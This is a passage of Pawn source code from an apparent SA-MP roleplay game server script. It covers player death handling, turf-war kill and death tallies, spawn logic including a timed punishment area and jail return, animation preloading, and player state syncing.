				if(PINFO[playerid][pSex] == 1) SendMessage(playerid,  COLOR_PURPLE, "Your conversation ended he came to death");
				if(PINFO[playerid][pSex] != 1) SendMessage(playerid,  COLOR_PURPLE, "Your conversation ended she came to death");
				RemovePlayerAttachedObject(playerid, 0);
				CellTime[playerid] = 90;
				Mobile[playerid] = 9999;
				TimerRingTone[playerid] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
	   }
	}
	if(AntiKoonHack[playerid] && PINFO[playerid][pTut] == 1 && gPlayerLogged[playerid] == 1)
	{
	   PlayerRespawned[playerid] = 1;
	   KillTimer(AntiKoonHack[playerid]);
	}
	if(killerid != INVALID_PLAYER_ID)
	{
	   new famil;
	   if(PlayerInfo[killerid][pLeader]) famil = PlayerInfo[killerid][pLeader];
	   else famil = PlayerInfo[killerid][pMember];
	   if(OnWar[playerid] != 9999)
	   {
		  if(PlayerInfo[playerid][pMember] == turfattacker[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfattacker[OnWar[playerid]])
		  {
			 if(IsPlayerInTurf(playerid,OnWar[playerid]) && IsPlayerInTurf(killerid,OnWar[killerid]) && famil != turfattacker[OnWar[playerid]])
			 {
				killskhod[killerid] ++;
				killskhodturf[OnWar[killerid]] ++;
				deathsattacker[playerid] ++;
				deathsattackerturf[OnWar[playerid]] ++;

					PlayerInfo[playerid][pDeathW] ++;
					SaveKonVal(playerid, "pDeathW", PINFO[playerid][pDeathW]);

					PlayerInfo[killerid][pKillW] ++;
					SaveKonVal(killerid, "pKillW", PINFO[killerid][pKillW]);
					
                    PlayerInfo[killerid][pFAct3] += 1;
				    SaveKonVal(killerid, "pFAct3", PINFO[killerid][pFAct3]);
				    
                    PlayerInfo[playerid][pFAct4] += 1;
				    SaveKonVal(playerid, "pFAct4", PINFO[playerid][pFAct4]);
				    
				new strlol[144];
				new minbaghi,secbaghi,TurfTimerEx[50];
				TurfTimerEx[OnWar[playerid]] = TurfTime[OnWar[playerid]];
				for(new c = 0;c<100;c++)
				{
					if(TurfTimerEx[OnWar[playerid]] >= 60)
					{
					   TurfTimerEx[OnWar[playerid]] -= 60;
					   minbaghi ++;
					   new minebaghi = minbaghi*60;
					   secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
					}
				}
				if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
				format(strlol,144,"[Turfs]: Times Deaths: %i,Times Kills: %i, score: %i,Time remaining: 00:%s%d:%s%d",PlayerInfo[playerid][pDeathW],PlayerInfo[playerid][pKillW],PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW],(minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
				SCM(playerid,COLOR_JOB,strlol);
			 }
		  }
		  if(PlayerInfo[playerid][pMember] == turfkhod[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfkhod[OnWar[playerid]])
		  {
			 if(IsPlayerInTurf(playerid,OnWar[playerid]) && IsPlayerInTurf(killerid,OnWar[killerid]) && famil != turfkhod[OnWar[playerid]])
			 {
			 killsattacker[killerid] ++;
			 killsattackerturf[OnWar[killerid]] ++;
			 deathskhod[playerid] ++;
			 deathskhodturf[OnWar[playerid]] ++;

				PlayerInfo[playerid][pDeathW] ++;
				SaveKonVal(playerid, "pDeathW", PINFO[playerid][pDeathW]);

				PlayerInfo[killerid][pKillW] ++;
				SaveKonVal(killerid, "pKillW", PINFO[killerid][pKillW]);
				
                    PlayerInfo[killerid][pFAct3] += 1;
				    SaveKonVal(killerid, "pFAct3", PINFO[killerid][pFAct3]);

                    PlayerInfo[playerid][pFAct4] += 1;
				    SaveKonVal(playerid, "pFAct4", PINFO[playerid][pFAct4]);

			 new strlol[512];
			 new minbaghi,secbaghi,TurfTimerEx[50];
			 TurfTimerEx[OnWar[playerid]] = TurfTime[OnWar[playerid]];
			 for(new c = 0;c<100;c++)
			 {
				if(TurfTimerEx[OnWar[playerid]] >= 60)
				{
					TurfTimerEx[OnWar[playerid]] -= 60;
					minbaghi ++;
					new minebaghi = minbaghi*60;
					secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
				}
			 }
			 if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
			 format(strlol,512,"[Turfs]: Times Deaths: %i,Times Kills: %i, score: %i,Time remaining: 00:%s%d:%s%d",PlayerInfo[playerid][pDeathW],PlayerInfo[playerid][pKillW],PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW],(minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			 SCM(playerid,COLOR_JOB,strlol);
			 }
		  }
		  if(PlayerInfo[playerid][pMember] == turfattacker[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfattacker[OnWar[playerid]])
		  {
			 if(IsPlayerInTurf(playerid,OnWar[playerid]) && IsPlayerInTurf(killerid,OnWar[killerid]) && famil == turfattacker[OnWar[playerid]])
			 {
			 deathsattacker[playerid] ++;
			 deathsattackerturf[OnWar[playerid]] ++;

				PlayerInfo[playerid][pKillW] ++;
				SaveKonVal(playerid, "pKillW", PINFO[playerid][pKillW]);
                    PlayerInfo[killerid][pFAct3] += 1;
				    SaveKonVal(killerid, "pFAct3", PINFO[killerid][pFAct3]);

				
			 new strlol[512];
			 new minbaghi,secbaghi,TurfTimerEx[50];
			 TurfTimerEx[OnWar[playerid]] = TurfTime[OnWar[playerid]];
			 for(new c = 0;c<100;c++)
			 {
				if(TurfTimerEx[OnWar[playerid]] >= 60)
				{
					TurfTimerEx[OnWar[playerid]] -= 60;
					minbaghi ++;
					new minebaghi = minbaghi*60;
					secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
				}
			 }
			 if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
			 format(strlol,512,"[Turfs]: Times Deaths: %i,Times Kills: %i, score: %i,Time remaining: 00:%s%d:%s%d",PlayerInfo[playerid][pDeathW],PlayerInfo[playerid][pKillW],PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW],(minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
			 SCM(playerid,COLOR_JOB,strlol);
			 }
		  }
		  if(PlayerInfo[playerid][pMember] == turfkhod[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfkhod[OnWar[playerid]])
		  {
			 if(IsPlayerInTurf(playerid,OnWar[playerid]) && IsPlayerInTurf(killerid,OnWar[killerid]) && famil == turfkhod[OnWar[playerid]])
			 {
				deathskhod[playerid] ++;
				deathskhodturf[OnWar[playerid]] ++;

					PlayerInfo[playerid][pDeathW] ++;
					SaveKonVal(playerid, "pDeathW", PINFO[playerid][pDeathW]);

                    PlayerInfo[playerid][pFAct4] += 1;
				    SaveKonVal(playerid, "pFAct4", PINFO[playerid][pFAct4]);
					
				new strlol[512];
				new minbaghi,secbaghi,TurfTimerEx[50];
				TurfTimerEx[OnWar[playerid]] = TurfTime[OnWar[playerid]];
				for(new c = 0;c<100;c++)
				{
					if(TurfTimerEx[OnWar[playerid]] >= 60)
					{
					   TurfTimerEx[OnWar[playerid]] -= 60;
					   minbaghi ++;
					   new minebaghi = minbaghi*60;
					   secbaghi = TurfTime[OnWar[playerid]]-minebaghi;
					}
				}
				if(TurfTime[OnWar[playerid]] < 60) { minbaghi = 0; secbaghi = TurfTime[OnWar[playerid]]; }
				format(strlol,512,"[Turfs]: Times Deaths: %i,Times Kills: %i, score: %i,Time remaining: 00:%s%d:%s%d",PlayerInfo[playerid][pDeathW],PlayerInfo[playerid][pKillW],PlayerInfo[playerid][pKillW] - PlayerInfo[playerid][pDeathW],(minbaghi < 10) ? ("0") : (""),minbaghi,(secbaghi < 10) ? ("0") : (""),secbaghi);
				SCM(playerid,COLOR_JOB,strlol);
			 }
		  }
	   }
	}
	if(CP[playerid] == 1 && PlayerInfo[playerid][pJob] == 5)
	{
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	   SCM(playerid,COLOR_LIGHTBLUE,"You died and lost on mission.");
	   CP[playerid] = 0;
	}
	HealthAllowedForPlayer[playerid] = 0;
	MedicBill[playerid] = 1;
	new name[MAX_PLAYER_NAME];
//	new string[256];
	new Float:px,Float:py,Float:pz;
	   gPlayerSpawned[playerid] = 0;
	   GetPlayerName(playerid, name, sizeof(name));
	   GetPlayerPos(playerid, px, py, pz);
	if(killerid != INVALID_PLAYER_ID && killerid != playerid && hiter != killerid)
	{
	   if(GetPlayerState(killerid) == PLAYER_STATE_DRIVER)
	   {
			 if(PlayerInfo[killerid][pJailTime] <= 0)
			 {
				if(IsACop(killerid))
				{
					return 1;
				}
				else if(IsAMemberC(playerid) && IsAMemberC(killerid))
				{
					return 1;
				}
				else if(Boss!=-1 && Boss != killerid)
				{
				    return 1;
				}
				else if(IsNPC(killerid))
				{
				    return 1;
				}
				else if(IsEventPlayer(killerid))
				{
					return 1;
				}
				else
				{
					if(Ghatel[playerid] != killerid && OnSpray[playerid] == 0)
					{
					   new strali[256];
					   format(strali, 256, "%s murdered you. You have 60 seconds to announce the police. Use /call 110.", PINFO[killerid][pName]);
					   SCM(playerid,COLOR_Good,strali);
					   TimerAnnouncer[playerid] = 60;
					   Ghatel[playerid] = killerid;
					   GhatelWanted[playerid] = 1;
					   format(CrimeText[playerid], 100, "Murderer");
					   return 1;
					}
				}
			 }
	   }
	}
	if (gTeam[playerid] == TEAM_COP)
	{
	   if(killerid != INVALID_PLAYER_ID && killerid != playerid && hiter != killerid)
	   {
		  if (gTeam[killerid] != TEAM_COP)
		  {
			 if(IsAMemberC(playerid) && IsAMemberC(killerid))
			 {
				return 1;
			 }
			 if(IsACop(killerid))
			 {
				return 1;
			 }
			 if(PlayerInfo[killerid][pJailTime] <= 0)
			 {
				if(Ghatel[playerid] != killerid && OnSpray[playerid] == 0)
				{
					new strali[256];
					format(strali, 256, "%s murdered you. You have 60 seconds to announce the police. Use /call 110.", PINFO[killerid][pName]);
					SCM(playerid,COLOR_Good,strali);
					TimerAnnouncer[playerid] = 60;
					Ghatel[playerid] = killerid;
					GhatelWanted[playerid] = 1;
					format(CrimeText[playerid], 100, "Murderer");
				}
			 }
		  }
	   }
	}
	if (killerid != INVALID_PLAYER_ID && gTeam[playerid] != TEAM_COP && GetPlayerState(killerid) != PLAYER_STATE_DRIVER)
	{
	 if(killerid != INVALID_PLAYER_ID && killerid != playerid && hiter != killerid)
	 {
		if (gTeam[killerid] != TEAM_COP)
		{
			if(IsAMemberC(playerid) && IsAMemberC(killerid))
			{
				return 1;
			}
			if(IsACop(killerid))
			{
			   return 1;
			}
			if(PlayerInfo[killerid][pJailTime] <= 0)
			{
				if(Ghatel[playerid] != killerid && OnSpray[playerid] == 0)
				{
					new strali[256];
					format(strali, 256, "%s murdered you. You have 60 seconds to announce the police. Use /call 110.", PINFO[killerid][pName]);
					SCM(playerid,COLOR_Good,strali);
					TimerAnnouncer[playerid] = 60;
					Ghatel[playerid] = killerid;
					GhatelWanted[playerid] = 1;
					format(CrimeText[playerid], 100, "Murderer");
				}
			}
		}
	 }
	}
	if(killerid != INVALID_PLAYER_ID && hiter != killerid)
	{
	   if (gTeam[playerid] != TEAM_COP && GetPlayerWantedLevel(playerid) > 0 && gTeam[killerid] == TEAM_COP)
	   {
		  SetPlayerFree(playerid,killerid, "Got Killed");
	   }
	}
	//new Float:x,Float:y,Float:z;
	//GetPlayerPos(playerid,x,y,z);
	//polbardar[playerid] = CreatePickup(1212, 2, x, y, z, GetPlayerVirtualWorld(playerid));
	return 1;
}
forward jhnm(playerid);
public jhnm(playerid) {
GodmodeFeature[playerid] = false;
Raft[playerid] = 0;
Reside[playerid] = 0;

new Hour, Minute, Second;
gettime(Hour, Minute, Second);
SetPlayerTime(playerid, Hour, Minute); // Noon
SetPlayerWeather(playerid, GetServerVarAsInt("weather"));
SetSpawnKol(playerid);
SpawnPlayer(playerid);
Raft[playerid] = 0;
return 1;
}
forward jhnmr(playerid);
public jhnmr(playerid) {
Raft[playerid] = 1;
return 1;
}
forward jhnmf(playerid);
public jhnmf(playerid) {
TogglePlayerControllable(playerid, 1);
return 1;
}
function AttachPlayerToys(playerid)
{
    for(new i = 0; i < 9; i++) if(IsPlayerAttachedObjectSlotUsed(playerid, i)) RemovePlayerAttachedObject(playerid, i);
    for(new i = 0; i < MAX_PLAYER_TOYS_SLOT; i++)
	{
	    PlayerObjectsInfo[playerid][i][ao_slot] = -1;
	    UpdateToySlot(playerid, i);
	}
}
public OnPlayerSpawn(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
FullySpawned[playerid] = 3;
if(IsPlayerInGame(playerid))AttachPlayerToys(playerid);
/*
//           Anti Sobeit
	SetCameraBehindPlayer(playerid);
	SetTimerEx("Check", 4 * 1000, 0, "i", playerid);
	TogglePlayerControllable(playerid, 0);
	// End
	*/
	TextDrawHideForPlayer(playerid, ImagemEntrada);
	//TextDrawShowForPlayer(playerid, ShadowsRandom);
//new playerskin;
//	playerskin = GetPlayerSkin(playerid);
	//TextDrawShowForPlayer(playerid, Logosv1);
	//TextDrawShowForPlayer(playerid, Logosv2);
	//PlayerTextDrawSetPreviewModel(playerid, SkinPreview[playerid], playerskin);
	//PlayerTextDrawShow(playerid, SkinPreview[playerid]);
	if(Reside[playerid] == 1) {
	SetPlayerPos(playerid, 560.6070, -1506.7501, 14.0581);
	SetPlayerInterior(playerid, 0);
	SetPlayerVirtualWorld(playerid, 85);
	SetPlayerTime(playerid, 20, 0); // Noon
	SetPlayerWeather(playerid, 200);
	return 1;
	}

	 //TextDrawShowForPlayer(playerid,WebTD);
	//TextDrawShowForPlayer(playerid, Logosv1);
	//TextDrawShowForPlayer(playerid, Logosv2);
	if(Reside[playerid] == 1) {
	SetPlayerPos(playerid, -6447.601562,-1470.213500,623.656127);
	SetPlayerInterior(playerid, 0);
	SetPlayerVirtualWorld(playerid, 85);
	SetPlayerTime(playerid, 20, 0); // Noon
	SetPlayerWeather(playerid, 200);
	return 1;
	}
	if(HeadphoneData[playerid][Sound] == true) StopAudioStreamForPlayer(playerid);
	HeadphoneData[playerid][Sound] = false;
	HeadphoneData[playerid][HasHeadphones] = false;
	PlayerInfo[playerid][pOnline] = 1;
	SaveKonVal(playerid, "pOnline", 1);
	if(BereJahanam[playerid] > 19 && JahanamSys == 1) {
	for(new i=710;i < 767;i++) {
	SetVehicleToRespawn(i);
	SetVehicleVirtualWorld(i, 85);
	}
	Raft[playerid] = 3;
	SetPlayerInterior(playerid, 0);
	SetPlayerVirtualWorld(playerid, 85);
	kaf[playerid] = CreatePlayerObject(playerid, 18981, -6451.93066, -1476.81689, 900.97308,   0.00000, -90.00000, 4.00000);
	new amirstr[256];
	GodmodeFeature[playerid] = true;
	SetPlayerKoon(true, playerid, 100000);
	SetPlayerPos(playerid, -6461.117675,-1275.653198,910.606506);
	format(amirstr, sizeof(amirstr), "Hello %s, I'm death angel.",PINFO[playerid][pName]);
	SCM(playerid, COLOR_YELLOW, amirstr);
	format(amirstr, sizeof(amirstr), "Here is hell, you were guilty in the earth.");
	SCM(playerid, COLOR_YELLOW, amirstr);
	format(amirstr, sizeof(amirstr), "You are in torment for 3 minutes.");
	SCM(playerid, COLOR_YELLOW, amirstr);
	SetTimerEx("jhnm",180000, 0, "i",playerid);
	BereJahanam[playerid] = 0;
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("jhnmf",1000, 0, "i",playerid);
	SetPlayerFacingAngle(playerid, 182.651672);
	SetTimerEx("jhnmr",5000, 0, "i",playerid);
	SetPlayerTime(playerid, 20, 0); // Noon
	SetPlayerWeather(playerid, 200);
	return 1;
	}
	if(mpop[playerid] != 0) {
		SetPlayerPos(playerid, 1451.5844,-1065.7572,213.3828);// New by Sina
		SetPlayerVirtualWorld(playerid, playerid);
		SetPlayerFacingAngle(playerid, 359.412506);
		TogglePlayerControllable(playerid, 1);
		SetPlayerInterior(playerid, 0);
		if(PINFO[playerid][pSex] == 1)
		{
		SetPlayerSkin(playerid, 170);
		}
		else
		{
		SetPlayerSkin(playerid, 91);
		}
		SetCameraBehindPlayer(playerid);

		return 1;
		}

	if(PlayerInfo[playerid][pJailTime] >= 1)
	   {
		  /*new sina = random(sizeof(InJail));
		  SetPlayerWantedLevel(playerid, 0);
		  SetPlayerPos(playerid, InJail[sina][0] , InJail[sina][1] , InJail[sina][2]);
		  SetPlayerVirtualWorld(playerid,10);
		  SetPlayerInterior(playerid, 1);
		  Mahal[playerid] = 2;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  SetPlayerSkin(playerid, 62);
		  PlayerTextDrawShow(playerid,JailTextDraw[playerid]);*/
		  SetPlayerToJail(playerid);
		  SendMessage(playerid, COLOR_LIGHTRED, "Incomplete Jail Sentence, back to jail.");
		  return 1;
	   }

	//GivePlayerPBKolang(playerid, 24, 2000);

	if(mpop[playerid] == 0) {SetPlayerSpawn(playerid);}

	if(IsPlayerConnected(playerid))
	{



	new pname[MAX_PLAYER_NAME] , str[40];
	GetPlayerName(playerid , pname , sizeof(pname));
	format(str , sizeof(str) , "%s_(%d)" , pname , playerid);
	PlayerTextDrawSetString(playerid, TD_PlayerName[playerid] , str);



	   if(AFK[playerid] == 1)
	   {
		  TogglePlayerControllable(playerid, 0);
		  SetPlayerColor(playerid,COLOR_AFK);
		  LoopingAnim(playerid,"CRACK","crckidle2",4.0,0,0,0,1,0);
	   }
	   if(PlayerOnDeathingE[playerid] == true) PlayerOnDeathingE[playerid] = false;
	   PlayDeathingCameraE[playerid] = false;
	   SetPlayerKoon(true, playerid,100);
	   if(IsPlayerDeath[playerid] == true) IsPlayerDeath[playerid] = false;
	   //SaveAccount(playerid);
	   if(unsentwep[playerid] == 1)
	   {
		  ResetPlayerKolang(playerid);
		  unsentwep[playerid] = 0;
	   }

	   if(!gPlayerAnimLibsPreloaded[playerid])
	   {
		  PreloadAnimLib(playerid,"BAR");
		  PreloadAnimLib(playerid,"BASEBALL");
		  PreloadAnimLib(playerid,"BD_FIRE");
		  PreloadAnimLib(playerid,"BEACH");
		  PreloadAnimLib(playerid,"BF_injection");
		  PreloadAnimLib(playerid,"benchpress");
		  PreloadAnimLib(playerid,"BIKEH");
		  PreloadAnimLib(playerid,"FOOD");
		  PreloadAnimLib(playerid,"MISC");
		  PreloadAnimLib(playerid,"BIKELEAP");
		  PreloadAnimLib(playerid,"BIKES");
		  PreloadAnimLib(playerid,"BIKEV");
		  PreloadAnimLib(playerid,"BMX");
		  PreloadAnimLib(playerid,"BIKE_DBZ");
		  PreloadAnimLib(playerid,"MD_CHASE");
		  PreloadAnimLib(playerid,"BOX" );
		  PreloadAnimLib(playerid,"BOMBER" );
		  PreloadAnimLib(playerid,"BSKTBALL" );
		  PreloadAnimLib(playerid,"CAMERA" );
		  PreloadAnimLib(playerid,"PARACHUTE" );
		  PreloadAnimLib(playerid,"GANGS" );
		  PreloadAnimLib(playerid,"LOWRIDER" );
		  PreloadAnimLib(playerid,"GYMNASIUM" );
		  PreloadAnimLib(playerid,"ON_LOOKERS" );
		  PreloadAnimLib(playerid,"CAR_CHAT" );
		  PreloadAnimLib(playerid,"CASINO" );
		  PreloadAnimLib(playerid,"BUDDY" );
		  PreloadAnimLib(playerid,"BUS" );
		  PreloadAnimLib(playerid,"CAR" );
		  PreloadAnimLib(playerid,"CARRY" );
		  PreloadAnimLib(playerid,"INT_SHOP" );
		  PreloadAnimLib(playerid,"JST_BUISNESS" );
		  PreloadAnimLib(playerid,"KART" );
		  PreloadAnimLib(playerid,"KISSING" );
		  PreloadAnimLib(playerid,"KNIFE" );
		  PreloadAnimLib(playerid,"LAPDAN1" );
		  PreloadAnimLib(playerid,"LAPDAN2" );
		  PreloadAnimLib(playerid,"LAPDAN3" );
		  PreloadAnimLib(playerid,"MD_END" );
		  PreloadAnimLib(playerid,"MTB" );
		  PreloadAnimLib(playerid,"MUSCULAR" );
		  PreloadAnimLib(playerid,"OTB" );
		  PreloadAnimLib(playerid,"CHAINSAW" );
		  PreloadAnimLib(playerid,"CHOPPA" );
		  PreloadAnimLib(playerid,"PARK" );
		  PreloadAnimLib(playerid,"NEVADA" );
		  PreloadAnimLib(playerid,"CLOTHES" );
		  PreloadAnimLib(playerid,"COACH" );
		  PreloadAnimLib(playerid,"COLT45" );
		  PreloadAnimLib(playerid,"COP_AMBIENT" );
		  PreloadAnimLib(playerid,"PAULNMAC" );
		  PreloadAnimLib(playerid,"COP_DVBYZ" );
		  PreloadAnimLib(playerid,"CRACK" );
		  PreloadAnimLib(playerid,"CRIB" );
		  PreloadAnimLib(playerid,"DAM_JUMP" );
		  PreloadAnimLib(playerid,"DANCING" );
		  PreloadAnimLib(playerid,"DEALER" );
		  PreloadAnimLib(playerid,"DILDO" );
		  PreloadAnimLib(playerid,"DODGE" );
		  PreloadAnimLib(playerid,"DOZER" );
		  PreloadAnimLib(playerid,"DRIVEBYS" );
		  PreloadAnimLib(playerid,"FAT" );
		  PreloadAnimLib(playerid,"FIGHT_B" );
		  PreloadAnimLib(playerid,"FIGHT_C" );
		  PreloadAnimLib(playerid,"FIGHT_D" );
		  PreloadAnimLib(playerid,"FIGHT_E" );
		  PreloadAnimLib(playerid,"FINALE" );
		  PreloadAnimLib(playerid,"FINALE2" );
		  PreloadAnimLib(playerid,"Flowers" );
		  PreloadAnimLib(playerid,"GHANDS" );
		  PreloadAnimLib(playerid,"Freeweights" );
		  PreloadAnimLib(playerid,"GHETTO_DB" );
		  PreloadAnimLib(playerid,"GRAFFITI" );
		  PreloadAnimLib(playerid,"GRENADE" );
		  PreloadAnimLib(playerid,"GRAVEYARD" );
		  PreloadAnimLib(playerid,"HAIRCUTS" );
		  PreloadAnimLib(playerid,"HEIST9" );
		  PreloadAnimLib(playerid,"INT_HOUSE" );
		  PreloadAnimLib(playerid,"INT_OFFICE" );
		  PreloadAnimLib(playerid,"PLAYER_DVBYS" );
		  PreloadAnimLib(playerid,"PLAYIDLES" );
		  PreloadAnimLib(playerid,"POLICE" );
		  PreloadAnimLib(playerid,"POOL" );
		  PreloadAnimLib(playerid,"POOR" );
		  PreloadAnimLib(playerid,"PYTHON" );
		  PreloadAnimLib(playerid,"QUAD" );
		  PreloadAnimLib(playerid,"QUAD_DBZ" );
		  PreloadAnimLib(playerid,"RAPPING" );
		  PreloadAnimLib(playerid,"RIFLE" );
		  PreloadAnimLib(playerid,"RIOT" );
		  PreloadAnimLib(playerid,"ROB_BANK" );
		  PreloadAnimLib(playerid,"ROCKET" );
		  PreloadAnimLib(playerid,"RUSTLER" );
		  PreloadAnimLib(playerid,"BIKED" );
		  PreloadAnimLib(playerid,"RYDER" );
		  PreloadAnimLib(playerid,"SCRATCHING" );
		  PreloadAnimLib(playerid,"SHAMAL" );
		  PreloadAnimLib(playerid,"SHOP" );
		  PreloadAnimLib(playerid,"SHOTGUN" );
		  PreloadAnimLib(playerid,"SKATE" );
		  PreloadAnimLib(playerid,"VORTEX" );
		  PreloadAnimLib(playerid,"TEC" );
		  PreloadAnimLib(playerid,"SILENCED" );
		  PreloadAnimLib(playerid,"TRAIN" );
		  PreloadAnimLib(playerid,"TATTOOS" );
		  PreloadAnimLib(playerid,"SMOKING" );
		  PreloadAnimLib(playerid,"SPRAYCAN" );
		  PreloadAnimLib(playerid,"STRIP" );
		  PreloadAnimLib(playerid,"SUNBATHE" );
		  PreloadAnimLib(playerid,"SWAT" );
		  PreloadAnimLib(playerid,"SWEET" );
		  PreloadAnimLib(playerid,"SWIM" );
		  PreloadAnimLib(playerid,"SWORD" );
		  PreloadAnimLib(playerid,"TANK" );
		  PreloadAnimLib(playerid,"TRUCK" );
		  PreloadAnimLib(playerid,"UZI" );
		  PreloadAnimLib(playerid,"VAN" );
		  PreloadAnimLib(playerid,"VENDING" );
		  PreloadAnimLib(playerid,"WAYFARER" );
		  PreloadAnimLib(playerid,"WEAPONS" );
		  PreloadAnimLib(playerid,"WUZI" );
		  PreloadAnimLib(playerid,"Attractors" );
		  PreloadAnimLib(playerid,"PED" );
		  PreloadAnimLib(playerid,"SNM" );
		  PreloadAnimLib(playerid,"BLOWJOBZ" );
		  PreloadAnimLib(playerid,"MEDIC" );
		  PreloadAnimLib(playerid,"AIRPORT" );
		  PreloadAnimLib(playerid,"FLAME" );
		  PreloadAnimLib(playerid,"goggles" );
		  PreloadAnimLib(playerid,"SNIPER" );
		  gPlayerAnimLibsPreloaded[playerid] = 1;
	   }
	   if(PlayerRespawned[playerid] == 1) {  AntiKoonHack[playerid] = SetTimerEx("KoonTimer",40000,1,"i",playerid); PlayerRespawned[playerid] = 0; }
	   PlayerHandsCuffed[playerid] = 0;
	   PlayerCuffed[playerid] = 0;
	   TofAll[playerid] = 1;
	   ResetPlayerKolang(playerid);
	   TogglePlayerControllable(playerid, 1);
	   SetPlayerWantedLevel(playerid, PlayerInfo[playerid][pWanted]);

	   if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]); }
	   else { SetPlayerSkin(playerid, PlayerInfo[playerid][cSkin]); }
	   //if(PINFO[playerid][pAdmin] > 0 < 5) SetPlayerSkin(playerid, 101);
	   //if(PINFO[playerid][pAdmin] > 12) SetPlayerSkin(playerid, 217);

	   if(IsInFaction(playerid))
	   {
		  SetPlayerWeapons(playerid);
	   }
	   SetPlayerToTeamColor(playerid);
	   PlayerFixRadio(playerid);
	   HealthAllowedForPlayer[playerid] = 1;


	}


if(BossSpawn[playerid])
  {
    new Float:BossRevivePos[2][3] =
    {
      {1879.5676,-2309.9890,13.5469},
      {1653.2657,1619.1860,10.8203}
    };
    SetPlayerPos(playerid, BossRevivePos[BossSpawnLocation][0],BossRevivePos[BossSpawnLocation][1],BossRevivePos[BossSpawnLocation][2]);
    SetPlayerInterior(playerid, 0);
    SetPlayerVirtualWorld(playerid, 0);
    Mahal[playerid]=9999;
    TooHouse[playerid]=9999;
    TooBiz[playerid]=9999;
  }


	if((playerid==SVEventOrganizer&&OnPaintBall[playerid]==0)||(playerid==SVEventHamkar&&OnPaintBall[playerid]==0))
	{
	if(SVEventPOS[0]==0.0&&SVEventPOS[1]==0.0&&SVEventPOS[2]==0.0&&SVEventVW==0&&SVEventIntEx==0)
	{
	TeleportOrganizerToEvent(playerid, SVEventType, SVEventInt);
	}
	else
	{
	SetPlayerVirtualWorld(playerid, SVEventVW);SetPlayerInterior(playerid, SVEventIntEx);SetPlayerPos(playerid, SVEventPOS[0], SVEventPOS[1], SVEventPOS[2]);
	}
	}




	return 1;
}


public busstop1(playerid)
{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
new rands = RandomShomare(15,20);
new string[256];
GivePlayerPool(playerid, rands);
OnCheckpoint[playerid] = 1;
SetPlayerCheckpoint(playerid,1938.380371,-2169.916259,13.382812, 3.0);
TogglePlayerControllable(playerid, 1);
CP[playerid] = 1201;
format(string, sizeof(string), "You get $%d money, You can go to the next bus stop",rands);
SCM(playerid,COLOR_WHITE,string);
return 1;
}
forward SyncPlayer(playerid);
public SyncPlayer(playerid)
{
virt[playerid] = GetPlayerVirtualWorld(playerid);
interior[playerid] = GetPlayerInterior(playerid);
skinneg[playerid] = GetPlayerSkin(playerid);
GetPlayerArmour(playerid,APP[playerid]);
GetPlayerHealth(playerid,PlayerHPP[playerid]);
GetPlayerFacingAngle(playerid,FaceAngle[playerid]);
GetPlayerPos(playerid,xx[playerid],yy[playerid],zz[playerid]);
GetPlayerWeaponData(playerid,1,gun[1][playerid],ammoo[1][playerid]);
GetPlayerWeaponData(playerid,2,gun[2][playerid],ammoo[2][playerid]);
GetPlayerWeaponData(playerid,3,gun[3][playerid],ammoo[3][playerid]);
GetPlayerWeaponData(playerid,4,gun[4][playerid],ammoo[4][playerid]);
GetPlayerWeaponData(playerid,5,gun[5][playerid],ammoo[5][playerid]);
GetPlayerWeaponData(playerid,6,gun[6][playerid],ammoo[6][playerid]);
GetPlayerWeaponData(playerid,7,gun[7][playerid],ammoo[7][playerid]);
GetPlayerWeaponData(playerid,8,gun[8][playerid],ammoo[8][playerid]);
GetPlayerWeaponData(playerid,9,gun[9][playerid],ammoo[9][playerid]);
GetPlayerWeaponData(playerid,10,gun[10][playerid],ammoo[10][playerid]);
GetPlayerWeaponData(playerid,11,gun[11][playerid],ammoo[11][playerid]);
GetPlayerWeaponData(playerid,12,gun[12][playerid],ammoo[12][playerid]);
if(IsPlayerInAnyVehicle(playerid))
{
vehicledd[playerid] = 1;
VehicleIDD[playerid] = GetPlayerVehicleID(playerid);
}
SpawnPlayer(playerid);
SetTimerEx("SyncPlayer2",1000,0,"i",playerid);
return 1;
}
forward GetTheID(BongBezan);
public GetTheID(BongBezan) {
IDeCodeRoBegir = cache_insert_id();
new str[144];
format(str, sizeof(str), "{FFFFFF}Admin %s created #code%i", ThatAdmin, IDeCodeRoBegir);
AdminWarn(str);
new InsertKon[6] = "NULL";
IDeCodeRoBegir = 9999999999999;
strcpy(ThatAdmin,InsertKon,32);
return 1;
}
forward SyncPlayer2(playerid);
public SyncPlayer2(playerid) {
SetPlayerPos(playerid,xx[playerid],yy[playerid],zz[playerid]);
SetPlayerFacingAngle(playerid,FaceAngle[playerid]);
SetPlayerHealth(playerid,PlayerHPP[playerid]);
SetPlayerVirtualWorld(playerid,virt[playerid]);
SetPlayerInterior(playerid,interior[playerid]);
SetPlayerSkin(playerid,skinneg[playerid]);
SetPlayerArmour(playerid,APP[playerid]);
ResetPlayerKolang(playerid);
